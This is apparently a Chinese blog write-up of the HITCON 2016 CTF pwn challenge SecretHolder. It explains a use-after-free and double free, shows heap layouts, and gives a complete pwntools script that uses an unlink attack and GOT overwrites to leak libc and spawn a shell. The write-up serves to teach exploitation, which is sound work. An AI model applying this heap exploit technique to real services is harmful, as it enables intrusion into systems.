HITCON2016 之 secretfolder

2017-02-16  本文已影响0人  bluecake

很早就想写关于HITCON2016PWN题的一些理解分析,但因为懒人心理一拖再拖,今天终于可以静下心来写一写writeup,不得不说,hitcon的题目质量还是很高,这对于刚入门pwn的我而言,真是再好不过的教程。

这是hitcon2016的第一个pwn

Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret

程序逻辑并不复杂,只不过KeepWipe必须按先后顺序执行

__int64 sub_40086D()
{
  v3 = *MK_FP(__FS__, 40LL);
  puts("Which level of secret do you want to keep?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  if ( v0 == 2 )
  {
    if ( !bigSecret )
    {
      bigSecret_ptr = calloc(1uLL, 0xFA0uLL);
      bigSecret = 1;
      puts("Tell me your secret: ");
      read(0, bigSecret_ptr, 0xFA0uLL);
    }
  }
  else if ( v0 == 3 )
  {
    if ( !hugeSecret )
    {
      hugeSecret_ptr = calloc(1uLL, 0x61A80uLL);
      hugeSecret = 1;
      puts("Tell me your secret: ");
      read(0, hugeSecret_ptr, 0x61A80uLL);
    }
  }
  else if ( v0 == 1 && !smallSecret )
  {
    smallSecret_ptr = calloc(1uLL, 0x28uLL);
    smallSecret = 1;
    puts("Tell me your secret: ");
    read(0, smallSecret_ptr, 0x28uLL);
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

这里依据选择指定大小的秘密会申请固定大小内存空间,并且对于每种类型都只能创建一次。

__int64 sub_400A27()
{
  v3 = *MK_FP(__FS__, 40LL);
  puts("Which Secret do you want to wipe?");
  puts("1. Small secret");
  puts("2. Big secret");
  puts("3. Huge secret");
  memset(&s, 0, 4uLL);
  read(0, &s, 4uLL);
  v0 = atoi(&s);
  switch ( v0 )
  {
    case 2:
      free(bigSecret_ptr);
      bigSecret = 0;
      break;
    case 3:
      free(hugeSecret_ptr);
      hugeSecret = 0;
      break;
    case 1:
      free(smallSecret_ptr);
      smallSecret = 0;
      break;
  }
  return *MK_FP(__FS__, 40LL) ^ v3;
}

上面的代码进行的是wipe操作,但是,程序在free之前没有检查指针,并且没有在free操作之后并没有将指针置空,因此这里导致了两个漏洞:UAFdouble free。那么这里可以这样利用,首先创建一个小堆块(记为A),然后释放掉,此时再申请一个大堆块(记为B),可以得到和刚释放的指针相同的指针,即A=B。再触发一次free(A),等价于free(B),但我们依然可以对B进行编辑。

keep('small', '')
wipe('small')
keep('huge', '')
wipe('small')   #free again

但依靠上述过程得到的AB并不在同一个内存段中(具体原因现在还不清楚,有兴趣的同学可以分析一下sysmalloc函数)

0x00400000         0x00402000         r-xp  /root/桌面/SecretHolder
0x00601000         0x00602000         r--p  /root/桌面/SecretHolder
0x00602000         0x00603000         rw-p  /root/桌面/SecretHolder
0x014ca000         0x014eb000         rw-p  [heap] 
                                              我们期望分配到的位置
0x00007fed74fe5000 0x00007fed7517a000 r-xp  /lib/x86_64-linux-gnu/libc-2.24.so 
                                              实际分配到位置
0x00007fed7517a000 0x00007fed75379000 ---p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed75379000 0x00007fed7537d000 r--p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537d000 0x00007fed7537f000 rw-p  /lib/x86_64-linux-gnu/libc-2.24.so
0x00007fed7537f000 0x00007fed75383000 rw-p  mapped
0x00007fed75383000 0x00007fed753a6000 r-xp  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed7551f000 0x00007fed75583000 rw-p  mapped
0x00007fed755a2000 0x00007fed755a5000 rw-p  mapped
0x00007fed755a5000 0x00007fed755a6000 r--p  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a6000 0x00007fed755a7000 rw-p  /lib/x86_64-linux-gnu/ld-2.24.so
0x00007fed755a7000 0x00007fed755a8000 rw-p  mapped
0x00007ffd2096c000 0x00007ffd2098d000 rw-p  [stack]
0x00007ffd209f7000 0x00007ffd209f9000 r--p  [vvar]
0x00007ffd209f9000 0x00007ffd209fb000 r-xp  [vdso]
0xffffffffff600000 0xffffffffff601000 r-xp  [vsyscall]

想要使得AB在同一个内存段中,只需要先申请一个大堆块,并释放掉,然后再进行上述步骤即可

keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')
wipe('small')   #free again

到这里,我们已经可以通过编辑B来控制后续申请的全部堆块结构内容,接下来就可以利用unlink attack来修改全局指针。但是,利用unlink需要满足一个前提条件:需要执行unlink的两个堆块不是fastbin。所以,需要构造两个大小大于0x80的块

keep('small', '')
keep('big', '')

这部分代码执行结束时的内存分布如下所示

0x20dc000:  0x0 0x31     
0x20dc010:  0xa 0x0       small secret
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0xfb1    
0x20dc040:  0xa 0x0       big secret
0x20dc050:  0x0 0x0
0x20dc060:  0x0 0x0

然后通过renew操作构造一个fake fastbin

exploit_st1  = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64((0xfb0 - 0x30) | PREV_INUSE)
renew('huge', exploit_st1) # create two fastbins with same size

覆盖后内存分布如下

0x20dc000:  0x0 0x31     fastbin1
0x20dc010:  0x0 0x0      
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0x31     fake fastbin2
0x20dc040:  0x0 0x0      
0x20dc050:  0x0 0x0      fake big_secret block end
0x20dc060:  0x0 0xf81 
0x20dc070:  0xa 0x0
0x20dc080:  0x0 0x0
...
0x20dcfe0:  0x0 0x0      true big_secret block end
0x20dcfe0:  0x0 0x81021  

这里我们先释放掉fastbin1fake fastbin2,释放后的内存如下图所示

0x20dc000:  0x0 0x31
0x20dc010:  0x0 0x0
0x20dc020:  0x0 0x0
0x20dc030:  0x0 0x31
0x20dc040:  0x20dc000   0x0
0x20dc050:  0x0 0x0
0x20dc060:  0x0 0xf81
...
0x20dcfd0:  0x0 0x0     
0x20dcfe0:  0x0 0x81021

那么,当申请small_ptr将会得到0x20dc040,但申请big_ptr时将会得到0x20dcff0,此时再通过renew('huge',payload)操作构造用于unlink操作的堆块

addr_ptr_small      = 0x6020b0

exploit_st2  = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0)                 # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0)               # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size

keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big')       # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

此时,small_ptr已经指向了0x602098renew('small', payload)可以修改bigSecret_ptr,再一次调用renew('big', payload)进行任意内存写

.bss:0000000000602098                                    
.bss:00000000006020A0 ; void *bigSecret_ptr
.bss:00000000006020A0 bigSecret_ptr                
.bss:00000000006020A0                                    
.bss:00000000006020A8 ; void *hugeSecret_ptr
.bss:00000000006020A8 hugeSecret_ptr              
.bss:00000000006020A8                                    
.bss:00000000006020B0 ; void *smallSecret_ptr
.bss:00000000006020B0 smallSecret_ptr  

后续就比较简单了,脚本如下

from pwn import *

def keep(type, secret):
    p.recvuntil("Renew secret")
    p.sendline('1')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')
    p.recvuntil("your secret:")
    p.sendline(secret)

def wipe(type):
    p.recvuntil("Renew secret")
    p.sendline('2')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')


def renew(type, secret):
    p.recvuntil("Renew secret")
    p.sendline('3')
    p.recvuntil("Huge secret")
    if type=="small":
        p.sendline('1')
    elif type=="big":
        p.sendline('2')
    elif type=="huge":
        p.sendline('3')
    p.recvuntil("your secret:")
    p.sendline(secret)

binf = ELF('SecretHolder')
addr_got_stack_fail = binf.got['__stack_chk_fail']
addr_got_memset     = binf.got['memset']
addr_got_main       = binf.got['__libc_start_main']

addr_plt_puts       = binf.plt['puts']
addr_plt_alarm      = binf.plt['alarm']
addr_plt_exit       = binf.plt['exit']

debug = 1
# context.log_level = True
if debug:
    p = process('./SecretHolder')

PREV_INUSE = 1

gdb.attach(p, open('aa'))    
keep('huge', '')
wipe('huge')
keep('small', '')
wipe('small')
keep('huge', '')                        # buf_huge == buf_small
wipe('small')

exploit_st1  = '\x00'*0x28
exploit_st1 += p64(0x30 | PREV_INUSE)
exploit_st1 += '\x00'*0x28
exploit_st1 += p64(0x81fa0 | PREV_INUSE)

keep('small', '')
keep('big', '')
renew('huge', exploit_st1)
wipe('small')
wipe('big')

addr_ptr_small      = 0x6020b0

exploit_st2  = '\x00'*0x30
# small (shift small chunk behind 16 bytes)
exploit_st2 += p64(0x0)                 # prev_size
exploit_st2 += p64(0xfa0 | PREV_INUSE)  # size
exploit_st2 += p64(addr_ptr_small-0x18) # fd
exploit_st2 += p64(addr_ptr_small-0x10) # bk
exploit_st2 += '\x00'*0xf80
# big
exploit_st2 += p64(0xfa0)               # prev_size
exploit_st2 += p64(0xfb0 & ~PREV_INUSE) # size

keep('small', '')
keep('big', '')
renew('huge', exploit_st2)
wipe('big')                             # unlink attack (addr_ptr_small <- addr_ptr_small-0x18)

bss_global = 0x6020a0
payload_st1  = '\x00'*0x8
payload_st1 += p64(binf.got['free'])     # buf_big
payload_st1 += p64(binf.got['read'])                   # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew('small', payload_st1)
renew('big', p64(binf.plt['puts']) + p64(binf.plt['puts']+6))
wipe('huge')

offset___libc_start_main_ret = 0x20a40
offset_system = 0x00000000000443d0
offset_dup2 = 0x00000000000f7b90
offset_read = 0x00000000000f7470
offset_write = 0x00000000000f74d0
offset_str_bin_sh = 0x18c3dd

p.recvline()
read_addr = u64(p.recv(6) + '\x00\x00')
lib = ELF('/lib/x86_64-linux-gnu/libc-2.21.so')
system_addr = lib.symbols['system'] - lib.symbols['read'] + read_addr
log.info('got system addr ' + hex(system_addr))
bin_sh = offset_str_bin_sh - offset_read + read_addr

payload_st1  = '\x00'*0x8
payload_st1 += p64(binf.got['free'])     # buf_big
payload_st1 += p64(bin_sh)                   # buf_huge (not used)
payload_st1 += p64(addr_ptr_small - 0x18) # buf_small
payload_st1 += p32(1)*3
renew("small", payload_st1)
renew("big", p64(system_addr) + p64(binf.plt['puts']+6))
wipe('huge')

p.interactive()
上一篇下一篇

猜你喜欢

热点阅读